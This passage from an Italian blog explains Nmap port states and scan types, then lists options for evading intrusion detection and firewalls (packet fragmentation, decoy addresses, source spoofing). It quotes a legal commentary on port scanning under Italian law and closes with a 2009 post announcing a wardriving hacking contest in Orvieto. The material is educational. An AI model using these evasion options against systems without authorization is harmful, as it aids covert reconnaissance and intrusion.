3) filtered-port: Un filtro impedisce a Nmap di capire se una porta è chiusa o aparte. Molto probabile la porta è soggetta ad un firewall

4)Unfiltered-port: Porta accessibile, ma Nmap non è stato in grado di determinare il suo stato(chiusa o aperte). Possiamo provare allora uno scan SYN o FIN per determinare il suo stato.

5) Open o filtered-port: Nmap non capisce se una porta è aperta o filtrata.

6) Closed o filtered-port: Nmap non capisce se una porta è chiusa o filtrata.

Nmap si basa su
risposte del Server, questo vuol dire che risposte mirate possono portare su una cattiva strada il nostro povero Nmap. Ora passiamo ad analizzare le opzioni(non si possono combinare fra di loro apparte lo scanner UDP) piu importanti per i diversi metodi di scan.

-sS (TCP SYN scan): Opzine di default usata la maggior parte delle volte, veloce e affidabile rispetto l'opzione -sT in quando non completa la connessione TCP. Praticamente manda un pacchetto SYN di apertura della connessione senza però mai completarla. Se esageriamo iniettando con nemesis(tool) molti pacchetti SYN è possibile che si verifica un SYN flood ossia un attacco di tipo denial of servic. Beh Possiamo rivolvere configurando i SYN cookies. Praticamente si usa il sequence number del pacchetto SYN-ACK per mandare un cookie al client e quindi riconoscere se quel client ha già mandato dei SYN in quella sessione, senza dover memorizzare ogni volta la connessione attiva sul "Baffer" del server. Il buffer non è infinito.

-St (TCP connect() scan): Se non è possibile un SYN scan in quando non si hanno i priviligi per lavorare sui pacchetti raw a basso livello, utilizziamo la system call connect() che è accessibile a tutti i programmi.PS: Il prototipo della funzione è sul Gpil

-sU ( UDP Scan):Vengo inviati pacchetti UPD vuoti. Se viene ritornato un errore ICMP i port unreachable la porta è chiusa. Altri errori ICMP di tipo unreachable definiscono la porta come filtrata. Se il servizio risponde con un pacchetto UDP la porta è aperta. Se non viene ricevuta alcuna riposta, la porta è aparte o filtrata. Nel link di seguito troverete  la tabella ICMP message error e gli header dei protocoli:

http://www.networkintrusion.co.uk/index.php/miscellaneous/rawpackets.html 





-sN/sF/sX: TCP Null, FIN, e Xmas scans: Nmap mette a disposizine questi tre tipi di scan. In particolare con -sX settiamo i bit FIN,PSH,URG. Xmas scan perchè accende i bit come un albero di natale.

-sA (TCP ACK scan): Non è uno scan atto a mirare una porta se è aperta o chiusa, ma serve per mappare le regole di firewalling , se le porte sono stateful oppure filtered. Praticamente il firewall si basa su delle regole,le quali gestiscono le applicazioni che possono avere accesso ad Internet. Il più semplice è il packet filter, che si limita a valutare gli header di ciascun pacchetto, decidendo quali far passare e quali no sulla base delle regole configurate.

--scanflags (Customize TCP scan flags): Per avere il pieno potere dello su Nmap con questa opzione possiamo decidere quali flag attivare. Si possono usare valori numerici, oppure nomi simbolici come ACKFIN ecc.

-sO (IP protocol scan): Permette di verificare queli protocolli sono disponibili su una macchina e i servizi del sistema operativo del target. Nmap quando effettua uno scan, mostra le porte e gli stati di essi e nello stesso tempo, associa le porte a probabili servizi sulla macchina. Questi vengono estratti da un database di circa 25000 e servono come indicazioni. Nmap fornisce un'opizione molto importante, il version Detection; questo servizio interroga le porte cercando la versione del programma che è in listen(ascolto) sulla porta. Le opzioni tipiche sono:

-sV: Attiva il version Detection
--allports: version Detection su tutte le porte
-A -O Os Detection e version Detection

Ormai qualsiasi rete da quelle aziendali a quella casalinga dispone di un IDS(nel caso di reti aziendali) o di un Firewall(privati o aziende). Tutti gli intrusin Detection sono prevenuti alla scansioni di Nmap. Pero con un po' di impegno a volte è possibile scavalcare IDS e FW utilizzando Nmap. Ad esempio possiamo utilizzare le seguenti opzioni:

-f: frammenta i pacchetti e rende piu difficile il compito di un IDS
-D decoy1, decoy2: Usa vari ip come esca, con lo scopo di non far capire da chi parte il vero port scanning

-S IP: indichamo l'indirizzo ip che vogliamo falsificare(spoofing). Lo spoofing è un tipo di attacco informatico dove viene impiegata in qualche maniera la falsificazione dell'identità della sorgente. 

ICT-Security n.ro 11 del 07-03-03 di Andrea Monti:
 

"... La legge infatti non punisce l’esecuzione di un portscan, in
sè. 
In altri termini, non esiste, nel codice penale, una norma che dica 'è vietato fare portscan'. 
Ciò non toglie che un’azione del genere diventerebbe sanzionabile penalmente se fosse diretta a compiere un reato (per esempio, un accesso abusivo, punito dall’art.615 ter del codice penale). 
In questo caso, anche se l’accesso abusivo non dovesse verificarsi per fatti indipendenti dalla volontà dell’agente, saremmo nell’ipotesi del delitto tentato.
Che punisce chi compie atti idonei e inequivocamente volti alla commissione di un reato. ..."










mercoledì 1 luglio 2009

Caccia al Tesoro con il notebook

Sabato 11 luglio si svolgerà ad Orvieto un singolare hack contest(Hacking Game) praticamente è un incrocio fra un “Capture the Flag”, una caccia al tesoro ed il wardriving, nel più puro spirito hacker.Si tratta di una gara molto particolare, una caccia al tesoro (anzi, una “Cracca al Tesoro“) che metterà alla prova le abilità dei partecipanti.Nerds, geeks ed esperti vagano per la città armati di notebook e antenne direzionali seguiti dagli sguardi curiosi e dalle escamazioni dei residenti, dei negozianti e dei numerosi turisti provenienti da tutto il mondo.Le Abilità e conoscenze tecniche sono infatti i due requisiti necessari per proseguire nella gara e arrivare alla vittoria.I partecipanti al gioco verranno suddivisi in diverse squadre e all’inizio verrà loro fornito un indizio per trovare il primo degli access point wireless distribuiti tra le varie strade della città. Una volta individuato l’access point, bisognerà trovare il modo per violare("bucare") il sistema e successivamente un altro indizio porterà all’access point successivo, fino a quello finale.La manifestazione è inserita all’interno della convention nazionale dedicata alla distribuzione Linux BackTrack, una distro orientata prevalentemente alla sicurezza del sistema operativo. Hacking, sicurezza e passione sono quindi i tre punti fondamentali sui quali si svilupperà l’evento.


Le pre-iscrizioni su http://www.wardriving.it saranno aperte da sabato 20 giugno e si chiuderanno domenica 5 luglio.

Infine per chi non puo partecipare all'evente su http://www.orvieto.tv sarà possibile seguire in diretta streaming tutta la giornata.Sarà posizionata una telecamera fissa nella Situation Room per mostrare in tempo reale l’andamento del gioco.Inoltre una postazione mobile seguirà in diretta i team impegnati nella Cracca al Tesoro.